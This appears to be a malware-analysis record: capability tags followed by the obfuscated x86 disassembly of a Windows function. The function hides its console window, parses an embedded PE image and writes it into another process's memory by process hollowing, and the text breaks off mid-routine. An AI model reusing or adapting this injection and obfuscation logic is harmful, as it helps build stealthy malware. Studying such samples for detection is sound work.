Function at 0x10002360
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10c
mov eax, dword [0x10064600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x114], 0x4534a33e
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x118], eax
sub eax, 0x8324d42e
je 0x10003e51
jmp 0x1000239c
mov eax, dword [ebp - 0x118]
sub eax, 0x83fbeb21
je 0x1000326f
jmp 0x100023b2
mov eax, dword [ebp - 0x118]
sub eax, 0x85ec78a7
je 0x1000437e
jmp 0x100023c8
mov eax, dword [ebp - 0x118]
sub eax, 0x86e22477
je 0x1000375e
jmp 0x100023de
mov eax, dword [ebp - 0x118]
sub eax, 0x89ffc5cb
je 0x10005129
jmp 0x100023f4
mov eax, dword [ebp - 0x118]
sub eax, 0x8a3b0fcf
je 0x1000536c
jmp 0x1000240a
mov eax, dword [ebp - 0x118]
sub eax, 0x90e7ea38
je 0x1000419e
jmp 0x10002420
mov eax, dword [ebp - 0x118]
sub eax, 0x9137ef78
je 0x10005485
jmp 0x10002436
mov eax, dword [ebp - 0x118]
sub eax, 0x939b3a41
je 0x10005311
jmp 0x1000244c
mov eax, dword [ebp - 0x118]
sub eax, 0x93d495c0
je 0x1000361b
jmp 0x10002462
mov eax, dword [ebp - 0x118]
sub eax, 0x9cada949
je 0x100043c4
jmp 0x10002478
mov eax, dword [ebp - 0x118]
sub eax, 0x9d96e6f5
je 0x10004093
jmp 0x1000248e
mov eax, dword [ebp - 0x118]
sub eax, 0x9f488ab5
je 0x10004d5c
jmp 0x100024a4
mov eax, dword [ebp - 0x118]
sub eax, 0x9fa38fcb
je 0x1000398e
jmp 0x100024ba
mov eax, dword [ebp - 0x118]
sub eax, 0xa0cd8fd8
je 0x100030bc
jmp 0x100024d0
mov eax, dword [ebp - 0x118]
sub eax, 0xa11cdf53
je 0x100044cb
jmp 0x100024e6
mov eax, dword [ebp - 0x118]
sub eax, 0xa28185bd
je 0x10004a8c
jmp 0x100024fc
mov eax, dword [ebp - 0x118]
sub eax, 0xa3080ce5
je 0x100053aa
jmp 0x10002512
mov eax, dword [ebp - 0x118]
sub eax, 0xa38f165f
je 0x10005406
jmp 0x10002528
mov eax, dword [ebp - 0x118]
sub eax, 0xa3a8f743
je 0x10004d6b
jmp 0x1000253e
mov eax, dword [ebp - 0x118]
sub eax, 0xa648e8c6
je 0x10002f37
jmp 0x10002554
mov eax, dword [ebp - 0x118]
sub eax, 0xa6d2c0d3
je 0x10003dcc
jmp 0x1000256a
mov eax, dword [ebp - 0x118]
sub eax, 0xa7f97499
je 0x1000439c
jmp 0x10002580
mov eax, dword [ebp - 0x118]
sub eax, 0xaa6e46a7
je 0x10004a33
jmp 0x10002596
mov eax, dword [ebp - 0x118]
sub eax, 0xaa9c64d5
je 0x10003691
jmp 0x100025ac
mov eax, dword [ebp - 0x118]
sub eax, 0xabd83a9b
je 0x1000310a
jmp 0x100025c2
mov eax, dword [ebp - 0x118]
sub eax, 0xacf627ca
je 0x10004dfe
jmp 0x100025d8
mov eax, dword [ebp - 0x118]
sub eax, 0xaf96d0c6
je 0x100041e3
jmp 0x100025ee
mov eax, dword [ebp - 0x118]
sub eax, 0xb0240c19
je 0x10004d90
jmp 0x10002604
mov eax, dword [ebp - 0x118]
sub eax, 0xb078636c
je 0x10004084
jmp 0x1000261a
mov eax, dword [ebp - 0x118]
sub eax, 0xb090eeac
je 0x1000376d
jmp 0x10002630
mov eax, dword [ebp - 0x118]
sub eax, 0xb0f0c4eb
je 0x10004e4f
jmp 0x10002646
mov eax, dword [ebp - 0x118]
sub eax, 0xb2894cf6
je 0x10004feb
jmp 0x1000265c
mov eax, dword [ebp - 0x118]
sub eax, 0xb41be379
je 0x10003ca2
jmp 0x10002672
mov eax, dword [ebp - 0x118]
sub eax, 0xb4b69abd
je 0x10003bed
jmp 0x10002688
mov eax, dword [ebp - 0x118]
sub eax, 0xb6d4014c
je 0x10004c48
jmp 0x1000269e
mov eax, dword [ebp - 0x118]
sub eax, 0xb72d7111
je 0x100048ac
jmp 0x100026b4
mov eax, dword [ebp - 0x118]
sub eax, 0xba95a7a6
je 0x10004ccd
jmp 0x100026ca
mov eax, dword [ebp - 0x118]
sub eax, 0xbac9b4ef
je 0x10003879
jmp 0x100026e0
mov eax, dword [ebp - 0x118]
sub eax, 0xbf0895b1
je 0x1000327e
jmp 0x100026f6
mov eax, dword [ebp - 0x118]
sub eax, 0xc38e16a6
je 0x100051fe
jmp 0x1000270c
mov eax, dword [ebp - 0x118]
sub eax, 0xc5df2ce6
je 0x10004bc0
jmp 0x10002722
mov eax, dword [ebp - 0x118]
sub eax, 0xc86b6194
je 0x10003f87
jmp 0x10002738
mov eax, dword [ebp - 0x118]
sub eax, 0xcbd80986
je 0x10004769
jmp 0x1000274e
mov eax, dword [ebp - 0x118]
sub eax, 0xcc470dfa
je 0x1000348a
jmp 0x10002764
mov eax, dword [ebp - 0x118]
sub eax, 0xcf1d853a
je 0x100045bd
jmp 0x1000277a
mov eax, dword [ebp - 0x118]
sub eax, 0xd878be6b
je 0x100050f7
jmp 0x10002790
mov eax, dword [ebp - 0x118]
sub eax, 0xda84d042
je 0x10004234
jmp 0x100027a6
mov eax, dword [ebp - 0x118]
sub eax, 0xddb53681
je 0x100054b5
jmp 0x100027bc
mov eax, dword [ebp - 0x118]
sub eax, 0xe13030d8
je 0x10003dbd
jmp 0x100027d2
mov eax, dword [ebp - 0x118]
sub eax, 0xe16b915b
je 0x10005299
jmp 0x100027e8
mov eax, dword [ebp - 0x118]
sub eax, 0xe4ab5387
je 0x100045cc
jmp 0x100027fe
mov eax, dword [ebp - 0x118]
sub eax, 0xe4c258c0
je 0x100048ed
jmp 0x10002814
mov eax, dword [ebp - 0x118]
sub eax, 0xe51653ca
je 0x10002eee
jmp 0x1000282a
mov eax, dword [ebp - 0x118]
sub eax, 0xe564f133
je 0x10005386
jmp 0x10002840
mov eax, dword [ebp - 0x118]
sub eax, 0xe75c58e2
je 0x10003aeb
jmp 0x10002856
mov eax, dword [ebp - 0x118]
sub eax, 0xe9972090
je 0x10004415
jmp 0x1000286c
mov eax, dword [ebp - 0x118]
sub eax, 0xeafb8c43
je 0x100048bb
jmp 0x10002882
mov eax, dword [ebp - 0x118]
sub eax, 0xf068d4d3
je 0x10004783
jmp 0x10002898
mov eax, dword [ebp - 0x118]
sub eax, 0xf0993a76
je 0x1000314d
jmp 0x100028ae
mov eax, dword [ebp - 0x118]
sub eax, 0xf0eb2546
je 0x10003ed9
jmp 0x100028c4
mov eax, dword [ebp - 0x118]
sub eax, 0xf2b69770
je 0x100041ad
jmp 0x100028da
mov eax, dword [ebp - 0x118]
sub eax, 0xf71d6d2b
je 0x100038ef
jmp 0x100028f0
mov eax, dword [ebp - 0x118]
sub eax, 0xfaea06df
je 0x10005065
jmp 0x10002906
mov eax, dword [ebp - 0x118]
sub eax, 0xfe3eeaaa
je 0x10003499
mov eax, dword [0x10065938]
mov ecx, dword [0x10065934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6b4c9b51
mov ecx, 0xa648e8c6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
push eax
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x104], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4b600
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x110], eax
mov eax, dword [ebp - 0x110]
movzx eax, word [eax]
cmp eax, 0x5a4d
sete al
and al, 1
mov byte [ebp - 0xb5], al
mov ecx, dword [0x10065938]
mov eax, dword [0x10065934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6b4c9b51
mov ecx, 0xa0cd8fd8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov dl, byte [ebp - 0xb5]
mov eax, 0x29bc20a0
mov ecx, 0x1a9e8dd0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov ecx, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov dword [ebp - 0x114], 0x3c1e71f9
jmp 0x100054da
mov eax, dword [0x10065938]
mov ecx, dword [0x10065934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfaea06df
mov ecx, 0x54e6e782
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov dword [ebp - 0x114], 0xbf0895b1
jmp 0x100054da
mov eax, dword [ebp - 0xb0]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0xaa], al
mov dword [ebp - 0x114], 0x7cc8b5af
jmp 0x100054da
mov dword [ebp - 0x114], 0xfe3eeaaa
jmp 0x100054da
mov ecx, dword [0x10065938]
mov eax, dword [0x10065934]
mov edx, ecx
sub edx, 0x40862e9f
sub edx, 1
add edx, 0x40862e9f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x89ffc5cb
mov ecx, 0xaa9c64d5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x104]
add eax, 4
mov dword [ebp - 0x9c], eax
mov ecx, dword [0x10065938]
mov eax, dword [0x10065934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x89ffc5cb
mov ecx, 0x86e22477
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov dword [ebp - 0x114], 0xb090eeac
jmp 0x100054da
mov ecx, dword [0x10065938]
mov eax, dword [0x10065934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7787ea5f
mov ecx, 0x2303edf9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov ecx, dword [0x10065938]
mov eax, dword [0x10065934]
mov edx, ecx
add edx, 0xebf4379
sub edx, 1
sub edx, 0xebf4379
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfe8a3e4c
mov ecx, 0xf71d6d2b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10002020
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x94], eax
mov eax, dword [0x10065938]
mov ecx, dword [0x10065934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfe8a3e4c
mov ecx, 0x5b2ce25c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov eax, dword [0x10065938]
mov ecx, dword [0x10065934]
mov edx, eax
add edx, 0x54d9e4ff
sub edx, 1
sub edx, 0x54d9e4ff
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc38e16a6
mov ecx, 0xc31504b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x114], 0x192674a
jmp 0x100054da
mov ecx, dword [ebp - 0x84]
xor eax, eax
sub eax, 0x18
sub ecx, eax
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
movzx edx, word [eax + 0x14]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xdc]
mov dword [eax], 0
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xd8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd4]
mov dword [eax], 0
mov dword [ebp - 0x114], 0x3941a4c0
jmp 0x100054da
mov eax, dword [0x10065938]
mov ecx, dword [0x10065934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe16b915b
mov ecx, 0xcfd0631
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov dword [ebp - 0x114], 0xa6d2c0d3
jmp 0x100054da
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x68]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 0x70]
sub edx, 0x83009215
add edx, eax
add edx, 0x83009215
mov eax, dword [ebp - 0x104]
mov esi, dword [eax]
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xd8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xe4]
mov esi, dword [eax]
mov eax, dword [ebp - 0xd4]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0xf2b69770
mov ecx, 0x8324d42e
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x114], 0x11bf0239
jmp 0x100054da
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd4]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov edx, dword [ebp - 0xd4]
imul edx, dword [edx], 0x28
add eax, edx
mov edx, dword [eax + 0x10]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x64]
cmp eax, ecx
setbe al
and al, 1
mov byte [ebp - 0x5d], al
mov eax, dword [0x10065938]
mov ecx, dword [0x10065934]
mov edx, eax
add edx, 0x84e6eb
sub edx, 1
sub edx, 0x84e6eb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x335fe211
mov ecx, 0x600f7ad6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov ecx, dword [0x10065938]
mov eax, dword [0x10065934]
mov edx, ecx
sub edx, 0x10779b3a
sub edx, 1
add edx, 0x10779b3a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2146d32e
mov ecx, 0x56695199
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov dword [ebp - 0x114], 0x9d96e6f5
jmp 0x100054da
mov ecx, dword [0x10065938]
mov eax, dword [0x10065934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x939b3a41
mov ecx, 0x5f78b647
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov dword [ebp - 0x114], 0xf2b69770
jmp 0x100054da
mov dword [ebp - 0x114], 0x279bb535
jmp 0x100054da
mov eax, dword [0x10065938]
mov ecx, dword [0x10065934]
mov edx, eax
add edx, 0x556245f5
sub edx, 1
sub edx, 0x556245f5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8a3b0fcf
mov ecx, 0xda84d042
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0x54]
mov dword [eax], ecx
mov ecx, dword [0x10065938]
mov eax, dword [0x10065934]
mov edx, ecx
sub edx, 0x64e14217
sub edx, 1
add edx, 0x64e14217
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8a3b0fcf
mov ecx, 0x3d5ae939
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov dl, byte [ebp - 0x4d]
mov eax, 0xc8e8671
mov ecx, 0xa7f97499
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x114], 0x9cada949
jmp 0x100054da
mov eax, dword [0x10065938]
mov ecx, dword [0x10065934]
mov edx, eax
add edx, 0xae42148e
sub edx, 1
sub edx, 0xae42148e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x568a4241
mov ecx, 0xe9972090
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov eax, dword [ebp - 0x48]
mov ecx, dword [eax + 0x1c]
mov eax, dword [ebp - 0x4c]
cmp eax, ecx
setne al
and al, 1
mov byte [ebp - 0x41], al
mov ecx, dword [0x10065938]
mov eax, dword [0x10065934]
mov edx, ecx
add edx, 0x966df926
sub edx, 1
sub edx, 0x966df926
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x568a4241
mov ecx, 0x639b4891
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov ecx, dword [0x10065938]
mov eax, dword [0x10065934]
mov edx, ecx
add edx, 0x3e33d730
sub edx, 1
sub edx, 0x3e33d730
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa3080ce5
mov ecx, 0x6b4ca96d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov dword [ebp - 0x114], 0xe4ab5387
jmp 0x100054da
mov edx, dword [ebp - 0x40]
mov eax, 0xb0240c19
mov ecx, 0x1763d5cc
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x114], 0xf068d4d3
jmp 0x100054da
mov eax, dword [ebp - 0xcc]
mov esi, dword [eax]
mov edx, dword [ebp - 0x38]
mov eax, 0x6adb1642
mov ecx, 0xff773c13
cmp edx, esi
cmovb eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov dword [ebp - 0x114], 0xeafb8c43
jmp 0x100054da
mov eax, dword [ebp - 0x34]
movzx eax, word [eax]
mov ecx, 0xffffffff
xor ecx, 0xf000
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0x635789fc
mov ecx, 0xe4c258c0
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov eax, dword [0x10065938]
mov ecx, dword [0x10065934]
mov edx, eax
sub edx, 0x606c4a74
sub edx, 1
add edx, 0x606c4a74
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa38f165f
mov ecx, 0x697a6c54
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x104]
mov edx, dword [eax]
mov eax, dword [ebp - 0xbc]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0x1c47d88f
mov ecx, 0xa28185bd
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov eax, dword [ebp - 0xc8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xbc]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x114], 0x2dd73212
jmp 0x100054da
mov ecx, dword [ebp - 0x2c]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov ecx, dword [0x10065938]
mov eax, dword [0x10065934]
mov edx, ecx
add edx, 0x8910656f
sub edx, 1
sub edx, 0x8910656f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9137ef78
mov ecx, 0xb6d4014c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov dword [ebp - 0x114], 0xcbd80986
jmp 0x100054da
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x24], eax
mov ecx, dword [0x10065938]
mov eax, dword [0x10065934]
mov edx, ecx
sub edx, 0xffb7230c
sub edx, 1
add edx, 0xffb7230c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xddb53681
mov ecx, 0x9f488ab5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov dword [ebp - 0x114], 0xa3a8f743
jmp 0x100054da
mov eax, dword [ebp - 0x24]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x28]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xdc]
mov dword [eax], ecx
mov dword [ebp - 0x114], 0xa11cdf53
jmp 0x100054da
mov ecx, dword [0x10065938]
mov eax, dword [0x10065934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
